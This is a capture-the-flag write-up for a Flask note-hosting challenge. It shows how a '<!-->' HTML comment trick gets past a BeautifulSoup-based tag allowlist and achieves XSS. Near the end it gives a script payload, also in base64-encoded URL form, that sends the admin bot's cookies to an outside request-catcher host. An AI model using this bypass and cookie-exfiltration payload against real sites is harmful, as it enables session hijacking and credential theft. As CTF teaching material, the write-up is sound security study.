Keywords
- logical issue of BeautifulSoup()
- this module didn't update about<!-->comment closing option
Given info
- tagged.py and Dockerfile were given
- and Autobot was given, The bot will execute URL
from flask import Flask, request, redirect
from bs4 import BeautifulSoup
import secrets
import base64
app = Flask(__name__)
SAFE_TAGS = ['i', 'b', 'p', 'br']
with open("home.html") as home:
HOME_PAGE = home.read()
@app.route("/")
def home():
return HOME_PAGE
@app.route("/add", methods=['POST'])
def add():
contents = request.form.get('contents', "").encode()
return redirect("/page?contents=" + base64.urlsafe_b64encode(contents).decode())
@app.route("/page")
def page():
contents = base64.urlsafe_b64decode(request.args.get('contents', '')).decode()
tree = BeautifulSoup(contents)
for element in tree.find_all():
if element.name not in SAFE_TAGS or len(element.attrs) > 0:
return "This HTML looks sus."
return f"<!DOCTYPE html><html><body>{str(tree)}</body></html>"- According to the author's comments, We can know that Flag is in admin's cookies
- Thus, we should execute malicious script to get FLAG (XSS)
- However, they have SAFE_TAGS filter to defense the XSS attack
- The Dockerfile was given but, we don't have home.html file
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
FROM python:3.11.1
RUN /usr/sbin/useradd -u 1000 user
RUN python3 -m pip install flask gunicorn beautifulsoup4
COPY tagged.py /home/user/chal.py
COPY home.html /home/user/home.html
EXPOSE 1337
RUN echo "cd /home/user && env WEB_CONCURRENCY=8 python3 -m gunicorn -b 0.0.0.0:1337 \"chal:app\"" > /home/user/run.sh
RUN chmod +x /home/user/run.sh
#CMD ["bash", "/home/user/run.sh"]
#CMD ["bash"]- simply make it
<!DOCTYPE html>
<html>
<body>
Welcome to my temporary HTML note hosting service.
<form action="/add" method="POST">
<p>What to send? <input type="text" name="contents" /><input type="submit" value="GO" /></p>
</form>
</body>
</html>flow
- find XSS, we should bypassing the filter
using html comment <!-- -->, AND <!-->
-
We can not write the tag without
SAFE_TAGS = ['i', 'b', 'p', 'br'] -
They using the BeautifulSoup() function return values to make element information
-
if we write
<!--<script>alert(1)</script>-->we can write tag but this is unexecutable
-
According to the HTML Standard,
<!-->working like-->
-
We can write
<!--<script>alert(1)</script><!-->
-
if we write
<!--><script>alert(1)</script>-->, the BeautifulSoup() function consider that><script>alert(1)</script>is the comment and<!--,-->made the comment. Thus, we can bypass the SAFE_TAGSS filter -
And, we can execute the
<script>tag
Get FLAG
- Now, we can execute the script what we want
- Thus, make malicious script to get Autobot's cookie(FLAG)
<!--><script>location.href="https://wcostze.request.dreamhack.games/?flag="+document.cookies</script>-->- We should give the payload like this (b64 encode)
/page?contents=PCEtLT48c2NyaXB0PmxvY2F0aW9uLmhyZWY9Imh0dHBzOi8vd2Nvc3R6ZS5yZXF1ZXN0LmRyZWFtaGFjay5nYW1lcy8/ZmxhZz0iK2RvY3VtZW50LmNvb2tpZXM8L3NjcmlwdD4tLT4=- Then, we can get the FLAG
this is yoobi